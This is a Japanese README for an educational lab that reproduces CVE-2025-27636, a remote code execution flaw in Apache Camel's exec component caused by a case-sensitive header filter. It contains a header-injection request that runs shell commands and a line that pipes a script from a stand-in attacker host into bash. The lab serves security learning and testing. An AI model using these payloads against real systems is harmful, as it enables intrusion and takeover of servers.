
CVE-2025-27636の再現ハンズオンラボ。Apache Camelにおける大文字小文字を区別するヘッダーフィルターのバイパスを利用した重大なRCEです。execエンドポイントを介して任意のコマンドを実行するヘッダーインジェクションを実演します。
CVE-2025-27636 は、Apache Camel、特に camel-exec コンポーネントにおける深刻な Remote Code Execution (RCE) 脆弱性です。これは、微妙だが危険な問題に起因します:
DefaultHeaderFilterStrategyはヘッダー名の大文字小文字を区別してチェックするため、別の大文字小文字を使用してバイパスされる可能性があります。
つまり、ブロックされるべき内部Camelヘッダー(例:CamelExecCommandExecutable)が、大文字小文字を操作される(例:cAmeLexecCommandExecutable)ことで通過してしまう可能性があります。
このヘッダーが exec: エンドポイントに到達すると、攻撃者は任意のコマンドを注入でき、システム全体が侵害されます。
DefaultHeaderFilterStrategyApache Camel の DefaultHeaderFilterStrategy は、以下のような内部ヘッダーを保護するためのものです。
CamelHttp*CamelFile*CamelExecCommandExecutable ← 🚨 大文字小文字のバイパスがあった場合に脆弱🔍 「内部」とはどういう意味ですか?
内部ヘッダーとは、
Camel* で始まるしかし、パッチ適用前は、このフィルターはヘッダー名を大文字小文字を区別して一致させていたため、HTTP仕様(ヘッダーは大文字小文字を区別しない)に違反し、次のようなバイパスが可能でした:
GET /systeminfo HTTP/1.1
Host: target-ip:8484
cAmeLexecCommandExecutable: /bin/bash -c "touch /tmp/pwned"
このヘッダーは exec: コンポーネントに渡され、ペイロードが実行されます。
CamelExecCommandExecutableこのヘッダーは camel-exec コンポーネントにどのコマンドを実行するかを指示します。これは強力であり、ユーザーによって制御可能な場合、特に OS レベルのコマンド(例:bash、cmd.exe など)をサポートする環境では非常に危険です。
プロジェクト: Pinewood Server Diagnostic
作成者: @enochgitgamefied
目的: ライブの教育用ラボで CVE-2025-27636 を再現する。
/tasks → exec:tasklist または exec:ps を使用してタスクを一覧表示/systeminfo → OS情報を出力 (systeminfo または uname -a)/network → ipconfig または ifconfig を表示/ でWeb UIを提供# Clone the repository
git clone https://github.com/enochgitgamefied/CVE-2025-27636-Pratctical-Lab.git
cd CVE-2025-27636-Pratctical-Lab
# Package the app
mvn clean package
# Run it
java -jar target/hello-camel-1.0-SNAPSHOT.jar
その後、ブラウザでアクセス:
🖥️ http://<your-ip>:8484
パッチ未適用の動作:
次のようなヘッダーを送信すると(大文字小文字に注意):
cAmeLexecCommandExecutable: whoami
フィルターはブロックせず、exec: エンドポイントに渡されます。次のように実証できます:
whoamiuname -abash -c "curl http://attacker.com/shell.sh | bash" ← 危険完全なデモは準備中で、近日中にアップロードされます。以下の手順を説明します:
YouTube デモリンク: https://www.youtube.com/watch?v=z4Xf9LYXc9o&t=714s!
HeaderFilterStrategy を使用する。exec: ルートを HTTP に直接公開しない。exec にチェーンする場合はそうです。このラボは教育目的および管理されたラボでのみ使用することを目的としています。 許可されていないシステムやネットワークでこれを行わないでください。
